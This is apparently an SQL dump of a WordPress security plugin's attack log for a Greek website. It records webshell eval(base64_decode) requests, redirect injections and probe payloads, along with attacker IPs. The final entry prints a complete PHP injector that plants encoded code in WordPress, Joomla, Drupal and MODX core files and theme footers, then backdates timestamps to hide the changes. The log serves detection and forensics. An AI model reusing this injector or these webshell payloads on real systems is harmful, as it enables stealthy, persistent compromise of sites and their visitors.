INSERT INTO `wp_wpsg_log` (`id`,`date`,`name`,`value`,`tags`,`impact`,`total_impact`,`url`,`referrer`,`ip`,`username`) VALUES 
 (602,'2016-05-26 00:21:35','POST.eanuvherejri','eval(base64_decode($_POST[xxx]))','xss,csrf,id,rfe,lfi',20,98,'http://beta.chrisochoidis.gr/wp-content/plugins/vc-extensions-bundle/sticker/css/object.php','http://beta.chrisochoidis.gr/wp-content/plugins/vc-extensions-bundle/sticker/css/object.php','195.123.209.174',''),
 (603,'2016-05-26 00:21:35','POST.xxx','[encoded data, 55676 characters]','xss,csrf,id,rfe,sqli,lfi',78,98,'http://beta.chrisochoidis.gr/wp-content/plugins/vc-extensions-bundle/sticker/css/object.php','http://beta.chrisochoidis.gr/wp-content/plugins/vc-extensions-bundle/sticker/css/object.php','195.123.209.174',''),
 (604,'2016-05-26 00:54:22','GET.search','伊達メガネ 俳優James\\\'A=0','xss,csrf',4,4,'http://www.chrisochoidis.gr/tag/οασα/13/gratuity/5223-mill_spreadsheet_payable_mill_pictorial/?search=%E4%BC%8A%E9%81%94%E3%83%A1%E3%82%AC%E3%83%8D+%E4%BF%B3%E5%84%AAJames\\\'A=0','http://www.chrisochoidis.gr/tag//13/gratuity/5223-mill_spreadsheet_payable_mill_pictorial/?search=+James\\\'A=0','122.225.107.145',''),
 (605,'2016-05-26 01:31:32','POST.p1','header(\\\"location:http://lqykcom\\\");','xss,csrf,id,rfe',14,14,'http://beta.chrisochoidis.gr/stats.php','','86.100.131.113',''),
 (606,'2016-05-26 01:31:55','POST.p1','$t = base64_decode(\\\"[encoded data, 50728 characters]\\\"); eval($t);','xss,csrf,id,rfe,sqli,lfi',45,45,'http://beta.chrisochoidis.gr/stats.php','','86.100.131.113',''),
 (607,'2016-05-26 02:55:30','POST.p1','$t = base64_decode(\\\"[encoded data, 50728 characters]\\\"); eval($t);','xss,csrf,id,rfe,lfi',39,39,'http://chrisochoidis.gr/stats.php','','197.32.22.126','');
INSERT INTO `wp_wpsg_log` (`id`,`date`,`name`,`value`,`tags`,`impact`,`total_impact`,`url`,`referrer`,`ip`,`username`) VALUES 
 (608,'2016-05-26 03:15:47','POST.p1','$t = base64_decode(\\\"[encoded data, 50732 characters]\\\"); eval($t);','xss,csrf,id,rfe,sqli,lfi',45,45,'http://beta.chrisochoidis.gr/stats.php','','41.232.41.119',''),
 (609,'2016-05-26 03:15:48','POST.p1','header(\\\"location:http://kimcramttcom\\\");','xss,csrf,id,rfe',14,14,'http://beta.chrisochoidis.gr/stats.php','','67.68.227.78',''),
 (610,'2016-05-26 03:16:10','POST.p1','$t = base64_decode(\\\"[encoded data, 50732 characters]\\\"); eval($t);','xss,csrf,id,rfe,sqli,lfi',45,45,'http://beta.chrisochoidis.gr/stats.php','','67.68.227.78',''),
 (611,'2016-05-26 03:36:34','POST.p1','header(\\\"location:http://afdlaqvvdcom\\\");','xss,csrf,id,rfe',14,14,'http://chrisochoidis.gr/stats.php','','46.229.123.1','');
INSERT INTO `wp_wpsg_log` (`id`,`date`,`name`,`value`,`tags`,`impact`,`total_impact`,`url`,`referrer`,`ip`,`username`) VALUES 
 (612,'2016-05-26 03:36:47','POST.p1','$t = base64_decode(\\\"[encoded data, 50724 characters]\\\"); eval($t);','xss,csrf,id,rfe,lfi',39,39,'http://chrisochoidis.gr/stats.php','','46.229.123.1',''),
 (613,'2016-05-26 07:34:09','GET.main_page','index\\\'A=0','xss,csrf',4,4,'http://www.chrisochoidis.gr/index.php?main_page=index\\\'A=0&cPath=6','http://www.chrisochoidis.gr/index.php?main_page=index\\\'A=0&cPath=6','99.242.17.90',''),
 (614,'2016-05-26 07:34:12','GET.cPath','6\\\'A=0','xss,csrf',4,4,'http://www.chrisochoidis.gr/index.php?main_page=index&cPath=6\\\'A=0','http://www.chrisochoidis.gr/index.php?main_page=index&cPath=6\\\'A=0','99.242.17.90',''),
 (615,'2016-05-26 07:49:32','POST.p1','header(\\\"location:http://wuqmopicom\\\");','xss,csrf,id,rfe',14,14,'http://chrisochoidis.gr/stats.php','','202.80.214.71',''),
 (616,'2016-05-26 07:49:54','POST.p1','$t = base64_decode(\\\"[encoded data, 50732 characters]\\\"); eval($t);','xss,csrf,id,rfe,sqli,lfi',45,45,'http://chrisochoidis.gr/stats.php','','202.80.214.71',''),
 (617,'2016-05-27 03:41:53','SERVER.REQUEST_URI','/el/βελτιώνουμε-τη-λειτουργία-της-αγοράς-–-προστατεύουμε-τους-επιχειρηματίες-και-τους-καταναλωτές','xss,csrf,id',3,3,'http://www.chrisochoidis.gr/el/βελτιώνουμε-τη-λειτουργία-της-αγοράς-–-προστατεύουμε-τους-επιχειρηματίες-και-τους-καταναλωτές','','192.243.55.132','');
INSERT INTO `wp_wpsg_log` (`id`,`date`,`name`,`value`,`tags`,`impact`,`total_impact`,`url`,`referrer`,`ip`,`username`) VALUES 
 (618,'2016-05-27 07:36:26','SERVER.REQUEST_URI','/el/article/ενισχύουμε-την-υγιή-επιχειρηματικότητα-–-προστατεύουμε-το-εισόδημα-του-καταναλωτή','xss,csrf,id',3,3,'http://www.chrisochoidis.gr/el/article/ενισχύουμε-την-υγιή-επιχειρηματικότητα-–-προστατεύουμε-το-εισόδημα-του-καταναλωτή','','192.243.55.130',''),
 (619,'2016-05-27 08:04:29','SERVER.REQUEST_URI','/el/η-συμφωνία-επανεισδοχής-εε-–-τουρκίας-στο-επίκεντρο-του-συμβουλίου-υπουργών-δικαιοσύνης-και','xss,csrf,id',3,3,'http://www.chrisochoidis.gr/el/η-συμφωνία-επανεισδοχής-εε-–-τουρκίας-στο-επίκεντρο-του-συμβουλίου-υπουργών-δικαιοσύνης-και','','192.243.55.135',''),
 (620,'2016-05-27 14:13:05','POST.p1','$xgknmb = base64_decode(\\\"[encoded data, 6508 characters]\\\");  eval($xgknmb);','xss,csrf,id,rfe,sqli,lfi',45,45,'http://chrisochoidis.gr/stats.php','','185.88.25.40',''),
 (621,'2016-05-28 03:55:02','GET.search','伊達メガネ 俳優James\\\'A=0','xss,csrf',4,4,'http://www.chrisochoidis.gr/tag/οασα/13/gratuity/5223-mill_spreadsheet_payable_mill_pictorial/?search=%E4%BC%8A%E9%81%94%E3%83%A1%E3%82%AC%E3%83%8D+%E4%BF%B3%E5%84%AAJames\\\'A=0','http://www.chrisochoidis.gr/tag//13/gratuity/5223-mill_spreadsheet_payable_mill_pictorial/?search=+James\\\'A=0','120.132.52.30',''),
 (622,'2016-05-29 11:45:18','SERVER.REQUEST_URI','/a,c.type=','xss,csrf',5,5,'http://www.chrisochoidis.gr/a,c.type=','http://www.chrisochoidis.gr','151.55.153.23',''),
 (623,'2016-05-29 11:45:18','SERVER.REQUEST_URI','/a,c.type=','xss,csrf',5,5,'http://www.chrisochoidis.gr/a,c.type=','http://www.chrisochoidis.gr','151.55.153.23',''),
 (624,'2016-05-29 15:10:47','COOKIE.id','echo (123454320+1);exit();','xss,csrf,id,rfe,lfi',7,7,'http://www.chrisochoidis.gr/','','198.71.224.82',''),
 (625,'2016-05-29 15:10:51','POST.diao','echo (123454320+1);exit();','xss,csrf,id,rfe,lfi',7,7,'http://www.chrisochoidis.gr/default.php','','198.71.224.82',''),
 (626,'2016-05-29 15:10:52','POST.1','echo (123454320+1);exit();','xss,csrf,id,rfe,lfi',7,7,'http://www.chrisochoidis.gr/rssd.php','','198.71.224.82',''),
 (627,'2016-05-29 15:10:53','POST.cmd','echo (123454320+1);exit();','xss,csrf,id,rfe,lfi',7,7,'http://www.chrisochoidis.gr/js.php','','198.71.224.82',''),
 (628,'2016-05-30 06:56:38','POST.p2','[encoded data, 54944 characters]','xss,csrf,id,rfe,sqli,lfi',58,195,'http://beta.chrisochoidis.gr/w66383669n.php','http://beta.chrisochoidis.gr/w66383669n.php','93.170.104.43',''),
 (629,'2016-05-30 06:56:38','POST.p1','echo \\\"marker:3c9db5c43235fb18e6ad9e5e86df0a45\\\\n\\\"; \r\n\r\n$depth = 0;\r\n\r\n$base_dir = dirname(__FILE__);\r\nfor ($i = 0; $i < $depth; $i++) {\r\n    $d = dirname($base_dir);\r\n    $tmp = glob($d . \\\"/*\\\", GLOB_ONLYDIR);\r\n    if(count($tmp)>0)\r\n        $base_dir = $d;\r\n    else {\r\n        echo(\\\"cant read: \\\".$d.\\\"\\\\n\\\");\r\n    }\r\n}\r\n\r\n$templates_array = \narray(\n    0=>array(\n        \\\"inject\\\"=>\\\'[encoded data, 9248 characters]\\\',\n        \\\"name\\\"=>\\\"inject_name:nav_menu_1\\\",\n        \\\"file\\\" => \\\"/wp-includes/nav-menu.php\\\",\n        \\\"search\\\" => \\\'* @return array menu objects\n*/\\\',\n    ),\n    array(\n        \\\"inject\\\"=>\\\'[encoded data, 9248 characters]\\\',\n        \\\"name\\\"=>\\\"inject_name:nav_menu_2\\\",\n        \\\"file\\\" => \\\"/wp-includes/nav-menu.php\\\",\n        \\\"search\\\" => \\\'* @return array Menu objects.\n*/\\\',\n    ),\n    array(\n        \\\"inject\\\"=>\\\'[encoded data, 5408 characters]\\\',\n        \\\"name\\\"=>\\\"inject_name:joomla\\\",\n        \\\"file\\\" => \\\"/includes/defines.php\\\",\n        \\\"search\\\" => \\\"endfile\\\",\n    ),\n    array(\n        \\\"inject\\\"=>\\\'[encoded data, 5408 characters]\\\',\n        \\\"name\\\"=>\\\"inject_name:drupal\\\",\n        \\\"file\\\" => \\\"/includes/bootstrap.inc\\\",\n        \\\"search\\\" => \\\'*  TRUE if only containing valid characters, or FALSE otherwise.\n */\\\',\n    ),\n    array(\n        \\\"inject\\\"=>\\\'[encoded data, 5408 characters]\\\',\n        \\\"name\\\"=>\\\"inject_name:modx\\\",\n        \\\"file\\\" => \\\"/manager/includes/protect.inc.php\\\",\n        \\\"search\\\" => \\\"endfile\\\",\n    ),\n\n);\n\n\n;\r\n\r\nif (empty($base_dir)) $base_dir = \\\"/\\\";\r\n$folders = glob($base_dir . \\\"/*\\\", GLOB_ONLYDIR);\r\narray_unshift($folders, $base_dir);\r\n\r\n\r\nforeach ($folders as $folder) {\r\n    foreach ($templates_array as $ta) {\r\n        $file = $folder . $ta[\\\"file\\\"];\r\n        $search = $ta[\\\"search\\\"];\r\n\r\n        if (!file_exists($file)) {\r\n//            echo $file . \\\" is not faund\\\\n\\\";\r\n            continue;\r\n        }\r\n\r\n        replace_code($file, $search, $base_dir, true, $ta);\r\n\r\n\r\n    }\r\n}\r\n        //exit;\r\n$themes_folder = false;\r\nforeach ($folders as $folder) {\r\n    $file = $folder.\\\"/wp-content/themes/\\\";\r\n    if (file_exists($file)) {\r\n        $themes_folder = $file;\r\n        echo $file . \\\" themes folder is found\\\\n\\\";\r\n        break;\r\n    }\r\n}\r\nif(!$themes_folder) exit;\r\n\r\n$folders = glob($themes_folder . \\\"*\\\", GLOB_ONLYDIR);\r\nforeach ($folders as $folder) {\r\n    $file = $folder.\\\"/footer.php\\\";\r\n    if (!file_exists($file)) {\r\n        echo  \\\"theme: \\\".basename($folder).\\\" footer is not found\\\\n\\\";\r\n        continue;\r\n    }\r\n\r\n    replace_code($file, \\\'startfile\\\', $base_dir, false, $templates_array[0]);\r\n}\r\n\r\nfunction replace_code($file, $search, $base_dir, $exit=true, $ta) {\r\n    if(basename($file)==\\\"nav-menu.php\\\") {\r\n        my_correct(dirname(dirname($file)));\r\n    }\r\n\r\n    $inject_src = base64_decode($ta[\\\"inject\\\"]);\r\n\r\n    $c = file_get_contents($file);\r\n\r\n    $size[\\\"start\\\"] = number_format(strlen($c));\r\n\r\n    $start_mark = \\\"//istart\\\";\r\n    $end_mark = \\\"//iend\\\";\r\n\r\n    if (stristr($c, $start_mark) AND stristr($c, $end_mark)) {\r\n//        echo \\\"markers found\\\\n\\\";\r\n        $c = preg_replace(\\\"#\\\" . preg_quote($start_mark) . \\\".*?\\\" . preg_quote($end_mark) . \\\"\\\\n?#is\\\", \\\"\\\", $c);\r\n    }\r\n//    if(stristr($c, $search)) {\r\n\r\n\r\n    $regex_search = preg_replace(\\\"#\\\\s+#\\\", \\\"\\\\s+\\\", preg_quote($search));\r\n    if ($search == \\\"endfile\\\") {\r\n//        echo(\\\"inject in the end of file\\\\n\\\");\r\n        $c = $c . $start_mark . \\\"\\\\n\\\" . $inject_src . $end_mark . \\\"\\\\n\\\";\r\n    }\r\n    elseif ($search == \\\"startfile\\\") {\r\n\r\n        $c = preg_replace(\\\"#(\\\\<\\\\?\\\".\\\"php)#is\\\", \\\'<\\\'.\\\'?\\\'.\\\'php \\\' . $start_mark . \\\"\\\\n\\\" . @$inject_src . $end_mark . \\\"\\\\n\\\", $c, 1);\r\n//        echo($data);\r\n    }\r\n    else {\r\n//        echo(\\\"injecting by the marker\\\\n\\\");\r\n        $c = preg_replace(\r\n            \\\"#\\\" . $regex_search.\\\"#is\\\",\r\n            $search . $start_mark . \\\"\\\\n\\\" . @$inject_src . $end_mark . \\\"\\\\n\\\",\r\n            $c\r\n        );\r\n    }\r\n    $size[\\\"result\\\"] = number_format(strlen($c));\r\n\r\n    if (stristr($c, $search) OR in_array($search, array(\\\"endfile\\\", \\\"startfile\\\"))) {\r\n//        echo($file.\\\" : search  not found:\\\" . $search.\\\" \\\".$regex_search);\r\n\r\n        $filemtime = filemtime($file);\r\n        if (file_put_contents($file, $c)) {\r\n            echo \\\"filename: \\\".$file . \\\" [\\\".@$ta[\\\"name\\\"].\\\"] found\\\\n\\\";\r\n\r\n            echo \\\"original filesize: \\\" . $size[\\\"start\\\"] . \\\"\\\\n\\\";\r\n\r\n            echo(\\\"file $file saved\\\\n\\\");\r\n            echo(\\\"inject:::\\\".str_replace($base_dir, \\\"\\\", $file).\\\":::inject\\\\n\\\");\r\n            touch($file, $filemtime, $filemtime);\r\n            echo \\\"result filesize: \\\" . $size[\\\"result\\\"] . \\\"\\\\n\\\";\r\n\r\n            if($exit) exit;\r\n        } else echo(\\\"save error: \\\" . $file . \\\"\\\\n\\\");\r\n    }\r\n}\r\n\r\nfunction my_time($dir) {\r\n    foreach (glob($dir . \\\'/wp-*.php\\\') as $f) {\r\n        $times[] = filemtime($f);\r\n    }\r\n    $max = 1;\r\n    for ($i = 0; $i < count($times) - 1; $i++) {\r\n        $k = 1;\r\n        for ($j = $i + 1; $j < count($times); $j++) {\r\n            if ($times[$i] == $times[$j]) {\r\n                $k++;\r\n                if ($k > $max) {\r\n                    $max = $k;\r\n                    $time = $times[$i];\r\n                }\r\n            }\r\n        }\r\n    }\r\n    return $time;\r\n}\r\n\r\nfunction my_correct($dir) {\r\n    $time = 0;\r\n    $path = $dir . \\\'/index.php\\\';\r\n    $content = base64_decode(\\\'PD9waHAKLyoqCiAqIEZyb250IHRvIHRoZSBXb3JkUHJlc3MgYXBwbGljYXRpb24uIFRoaXMgZmlsZSBkb2Vzbid0IGRvIGFueXRoaW5nLCBidXQgbG9hZHMKICogd3AtYmxvZy1oZWFkZXIucGhwIHdoaWNoIGRvZXMgYW5kIHRlbGxzIFdvcmRQcmVzcyB0byBsb2FkIHRoZSB0aGVtZS4KICoKICogQHBhY2thZ2UgV29yZFByZXNzCiAqLwoKLyoqCiAqIFRlbGxzIFdvcmRQcmVzcyB0byBsb2FkIHRoZSBXb3JkUHJlc3MgdGhlbWUgYW5kIG91dHB1dCBpdC4KICoKICogQHZhciBib29sCiAqLwpkZWZpbmUoJ1dQX1VTRV9USEVNRVMnLCB0cnVlKTsKCi8qKiBMb2FkcyB0aGUgV29yZFByZXNzIEVudmlyb25tZW50IGFuZCBUZW1wbGF0ZSAqLwpyZXF1aXJlKCBkaXJuYW1lKCBfX0ZJTEVfXyApIC4gJy93cC1ibG9nLWhlYWRlci5waHAnICk7Cg==\\\');\r\n    if (file_get_contents($path) != $content) {\r\n        chmod($path, 0644);\r\n        file_put_contents($path, $content);\r\n        chmod($path, 0444);\r\n        $time = my_time($dir);\r\n        touch($path, $time);\r\n    }\r\n\r\n    $path = $dir . \\\'/.htaccess\\\';\r\n    $content = base64_decode(\\\'IyBCRUdJTiBXb3JkUHJlc3MKPElmTW9kdWxlIG1vZF9yZXdyaXRlLmM+ClJld3JpdGVFbmdpbmUgT24KUmV3cml0ZUJhc2UgLwpSZXdyaXRlUnVsZSBeaW5kZXhcLnBocCQgLSBbTF0KUmV3cml0ZUNvbmQgJXtSRVFVRVNUX0ZJTEVOQU1FfSAhLWYKUmV3cml0ZUNvbmQgJXtSRVFVRVNUX0ZJTEVOQU1FfSAhLWQKUmV3cml0ZVJ1bGUgLiAvaW5kZXgucGhwIFtMXQo8L0lmTW9kdWxlPgoKIyBFTkQgV29yZFByZXNzCg==\\\');\r\n    if (file_exists($path) AND file_get_contents($path) != $content) {\r\n        chmod($path, 0644);\r\n        file_put_contents($path, $content);\r\n        chmod($path, 0444);\r\n        if (!$time) {\r\n            $time = my_time($dir);\r\n        }\r\n        touch($path, $time);\r\n    }\r\n}','xss,csrf,id,rfe,sqli,lfi',137,195,'http://beta.chrisochoidis.gr/w66383669n.php','http://beta.chrisochoidis.gr/w66383669n.php','93.170.104.43','');
